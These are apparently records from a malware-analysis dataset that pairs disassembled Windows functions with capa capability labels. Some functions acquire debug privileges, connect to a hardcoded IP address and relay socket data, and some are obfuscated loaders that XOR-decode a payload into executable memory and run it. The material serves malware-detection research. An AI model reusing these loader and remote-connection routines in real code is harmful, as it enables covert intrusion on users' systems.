joyce8/EMBER2024-capa huggingface dataset:
Function at 0xec5250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xed9808
push 0xec9288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xec5329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xec5329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00ec81d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xec5329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xec5329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xec532c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00ec5351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xec5d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xec5d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xec5d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xec5d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xec5d94
push eax
push esi
call fcn.00ec820b
add esp, 8
pop esi
ret 0x10

Function at 0xec5da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xec5e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xec5e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xede320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00ec7dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xec5dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xec5e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xec5ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xec5eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xede320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00ec7dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xec5eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xec5e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xec6000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xec6131
push esi
call fcn.00ec9145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00eb8080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xec6131
push 0
push ebp
call fcn.00eb83a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00eb8260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xec608b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00eb82f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xec6121
push 0xede918
push edi
call fcn.00ec73f0
push eax
push ebx
push esi
call fcn.00ec5f60
push 0xede8f8
push edi
call fcn.00ec73f0
push eax
push ebx
push esi
call fcn.00ec5f60
push 0xede8d8
push edi
call fcn.00ec73f0
push eax
push ebx
push esi
call fcn.00ec5f60
push 0xede8c0
push edi
call fcn.00ec73f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00ec5f60
push 0xede8a0
push edi
call fcn.00ec73f0
push eax
push ebx
push esi
call fcn.00ec5f60
push 0xede888
push edi
call fcn.00ec73f0
push eax
push ebx
push esi
call fcn.00ec5f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xec71b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00ec7140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00ec7140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00ec7140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00ec7140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xec7bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xec7c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xed987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xec7c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xec7c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4010c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
test esi, esi
jle 0x401108
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push esi
lea ecx, [edi + eax]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
jne 0x401100
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x401112
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401104
add edi, eax
sub esi, eax
test esi, esi
jg 0x4010d4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x401120
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1040]
push ebx
push esi
push edi
push 0x1038
push 0x40
call eax
mov ecx, dword [ebp + 0x10]
mov esi, eax
mov eax, 1
mov dword [ebp - 4], eax
mov dword [esi + 4], ecx
mov ecx, dword [ebp + 0xc]
lea edi, [esi + 8]
mov dword [esi + 0x1034], eax
lea edx, [eax + 0xf]
mov eax, edi
sub ecx, edi
lea esp, [esp]
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x401160
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
mov dword [esi + 0x18], eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, dword [esi + 0x18]
push 0x10
push edi
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], 1
mov ecx, dword [eax + 0x1024]
mov dword [esi], ecx
mov dword [eax + 0x1024], esi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4011c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40d284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov cl, byte [ebp + 0x10]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0x13
mov byte [ebp - 7], cl
mov esi, 6
xor edi, edi
mov eax, dword [ebp + 8]
push 0
push esi
lea edx, [ebp + edi - 0xc]
push edx
push eax
call ebx
cmp eax, 0xffffffff
jne 0x40121a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x401222
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40121e
add edi, eax
sub esi, eax
test esi, esi
jg 0x4011f0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401d45
mov esp, ebp
pop ebp
ret
Function at 0x401240
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40d284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov cl, byte [ebp + 0x10]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0x21
mov byte [ebp - 7], cl
mov esi, 6
xor edi, edi
mov eax, dword [ebp + 8]
push 0
push esi
lea edx, [ebp + edi - 0xc]
push edx
push eax
call ebx
cmp eax, 0xffffffff
jne 0x40129a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4012a2
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40129e
add edi, eax
sub esi, eax
test esi, esi
jg 0x401270
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401d45
mov esp, ebp
pop ebp
ret

Function at 0x4012c0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x40d284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [esi + 0x1c], 0
je 0x40138b
mov eax, dword [esi + 0x18]
push ebx
lea ebx, [edi + 0x1034]
push ebx
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x108], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x40133c
mov edx, dword [esi + 4]
push eax
mov dword [esi + 0x1c], 0
mov eax, dword [edi + 0xc]
push edx
push eax
call fcn.00401240
add esp, 0xc
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401d45
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push ebx
lea edx, [ebp - 0x108]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x401328
mov eax, dword [esi + 4]
mov ecx, dword [edi + 0xc]
push 0
push eax
push ecx
call fcn.00401240
add esp, 0xc
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401d45
mov esp, ebp
pop ebp
ret
cmp dword [esi + 0x1034], 0
je 0x401427
mov edx, dword [esi + 0x18]
lea eax, [edi + 0x1034]
push eax
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x108], 1
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x401427
mov eax, dword [esi + 0x18]
push 0
push 0x1000
lea edx, [esi + 0x27]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x4013f3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401d45
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x25], ax
lea ecx, [esi + 0x20]
add eax, 7
mov word [esi + 0x1030], ax
push ecx
mov dword [ecx], edx
mov byte [esi + 0x24], 3
mov ecx, dword [edi + 0xc]
movzx eax, ax
push ecx
call fcn.004010c0
add esp, 8
mov dword [esi + 0x1034], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00401d45
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x40d284]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
mov ebx, dword [edi + 0x1024]
mov dword [ebp - 0x10], edi
test ebx, ebx
je 0x401534
push esi
jmp 0x401473
mov edi, dword [ebp - 0x10]
mov esi, ebx
call fcn.004012c0
test eax, eax
jne 0x401529
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebx + 4]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 2
mov esi, 5
mov dword [ebp - 0x14], edx
xor edi, edi
lea esp, [esp]
mov ecx, dword [ebp - 0x14]
push 0
push esi
lea eax, [ebp + edi - 0xc]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4014ce
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4014d6
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4014d2
add edi, eax
sub esi, eax
test esi, esi
jg 0x4014a0
mov edx, dword [ebx + 0x18]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0x1024]
mov edx, dword [ecx + 0x1044]
test eax, eax
jne 0x4014f9
xor esi, esi
mov ebx, esi
jmp 0x40152b
cmp eax, ebx
jne 0x40150e
mov eax, dword [eax]
mov dword [ecx + 0x1024], eax
mov esi, dword [ebx]
push ebx
call edx
mov ebx, esi
jmp 0x40152b
cmp dword [eax], ebx
je 0x40151c
mov eax, dword [eax]
test eax, eax
je 0x4014f3
cmp dword [eax], ebx
jne 0x401512
mov ecx, dword [ebx]
push ebx
mov dword [eax], ecx
mov esi, ecx
call edx
mov ebx, esi
jmp 0x40152b
mov ebx, dword [ebx]
test ebx, ebx
jne 0x401470
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00401d45
mov esp, ebp
pop ebp
ret
Function at 0x401c20
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11e4
call fcn.00408240
mov eax, dword [0x40d284]
xor eax, esp
mov dword [esp + 0x11e0], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
test eax, eax
je 0x401c59
cmp byte [eax], 0x48
jne 0x401c59
mov dword [0x40de44], 0
jmp 0x401cbf
cmp dword [0x40de44], 0
je 0x401cbf
call dword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
je 0x401cbf
push 0x4000
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call fcn.0040248b
push 0x40ba10
push eax
call fcn.004025a1
add esp, 0x10
mov esi, eax
call fcn.00401d54
push 0
lea edi, [eax + 0x20]
push 4
mov ecx, 8
push 0
rep movsd dword es:[edi], dword [esi]
call fcn.00401d54
add eax, 0x20
push eax
call fcn.00401fc6
push str.Console_allocated__n
call fcn.00401f09
add esp, 0x14
lea eax, [esp + 0x1058]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x1048
lea ecx, [esp + 0x14]
push 0
push ecx
call fcn.00407400
mov edx, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
mov cx, word [0x40de40]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
mov dword [esp + 0x1050], edx
mov dword [esp + 0x1054], eax
mov word [esp + 0x14], cx
mov dword [esp + 0x10], str.86.97.160.59
mov word [esp + 0x1038], 0x1012
lea esp, [esp]
call esi
push eax
lea edi, [esp + 0x14]
call fcn.00401550
add esp, 4
push 5
call ebx
jmp 0x401d30

Function at 0x401d45
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d284]
jne 0x401d4f
repz ret
jmp fcn.004028b7
Function at 0x4075d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d284]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404f2e
and dword [ebp - 0x14], 0
cmp dword [0x40eabc], 0
mov dword [ebp - 0x18], eax
jne 0x407685
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40772d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40772d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40eabc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40eac0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40eac4], eax
call edi
push eax
call esi
mov dword [0x40eacc], eax
test eax, eax
je 0x407685
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40eac8], eax
mov eax, dword [0x40eac8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4076de
cmp dword [0x40eacc], ecx
je 0x4076de
push eax
call esi
push dword [0x40eacc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4076de
test ebx, ebx
je 0x4076de
call edi
test eax, eax
je 0x4076d5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4076d5
test byte [ebp - 8], 1
jne 0x4076de
or dword [ebp + 0x10], 0x200000
jmp 0x407711
mov eax, dword [0x40eac0]
cmp eax, dword [ebp - 0x18]
je 0x407711
push eax
call esi
test eax, eax
je 0x407711
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407711
mov eax, dword [0x40eac4]
cmp eax, dword [ebp - 0x18]
je 0x407711
push eax
call esi
test eax, eax
je 0x407711
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40eabc]
call esi
test eax, eax
je 0x40772d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40772f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401d45
leave
ret
Function at 0x29a10c52
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x29a10c61
pop dword [ebp - 0x40]
mov eax, 0xae7ea1f7
sub eax, 0x84dd9596
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x5701ce16
sub dword [ebp - 0x50], 0x8af88cb
mov dword [ebp - 0x4c], 0x6a9a8666
add dword [ebp - 0x4c], 0xc798c5df
mov dword [ebp - 0x48], 0x69988e83
sub dword [ebp - 0x48], 0x1d4c4a55
mov dword [ebp - 0x44], 0xc599b147
sub dword [ebp - 0x44], 0xc599b147
lea eax, [ebp - 0x50]
push eax
mov eax, 0x8ad18d6a
sub eax, 0x61304cde
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xc85e676d
add dword [ebp - 0x50], 0xac1401e9
mov dword [ebp - 0x4c], 0xccb8c3e3
add dword [ebp - 0x4c], 0x74b39d92
mov dword [ebp - 0x48], 0x6cbcbd90
sub dword [ebp - 0x48], 0x94d5124
mov dword [ebp - 0x44], 0x9a2c09d8
add dword [ebp - 0x44], 0x65d3f628
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x5f9c7b14
add eax, 0xca04c530
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3bb75
push 0
call eax
mov ecx, 0xc302eb3a
sub ecx, 0xc3029d79
xor edi, edi
add edi, eax
mov ebx, 0x9d64d162
add ebx, 0x8c3d4e9e
add ebx, dword [ebp - 0x40]
mov edx, 0x5d56ae66
xor dword [ebp - 0x14], edi
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0x7a84326f
add esi, edx
mov dword [edi], esi
sub dword [ebp - 0x18], esi
add edi, 0x9ae639df
sub edi, 0x9ae639db
add ebx, 0x511a2b64
sub ebx, 0x511a2b60
loop 0x29a10d7f
add eax, 0xb8b238e5
add eax, 0x474ef0f2
xor ebx, ebx
add ebx, eax
add eax, 0x6ac9147d
add eax, 0x9536eb88
mov ecx, 0xad661cdb
add ecx, 0x7c39e325
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10008ec6
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x10008f28
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, ecx
test edx, edx
jne 0x10008f38
push 0xd
pop eax
jmp 0x10008f6e
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
mov ecx, edi
lea ebp, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10008f44
sub ecx, ebp
lea eax, [ecx + 1]
add edi, eax
add esi, eax
cmp eax, 1
jne 0x10008f3f
push esi
push edx
push 7
push 0
push dword [esp + 0x24]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x1000b60d
Capabilities:
Encode data using xor

Disassembly:
add eax, 0x33e26a74
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x35bd7
add eax, dword [eax]
push 0
mov eax, 0xc89dcef8
sub eax, 0xb89cfdf0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x58c9eda2
sub ecx, 0x58c9ac33
mov edx, eax
mov ebx, 0x9a021e5a
sub ebx, 0x8a000a5a
add ebx, dword [ebp - 0x1c]
mov edi, 0xab404f9c
add edi, 0x95c80273
xor dword [ebp - 0x18], 0xb81c5438
mov esi, dword [ebx]
sub dword [ebp - 0xc], ebx
add esi, edi
add dword [ebp - 8], eax
mov dword [edx], esi
xor dword [ebp - 0x18], eax
add edx, 4
add ebx, 0x83217b1
add ebx, 0xf7cde853
loop 0x1000b661
add eax, 0xf88f
mov ebx, eax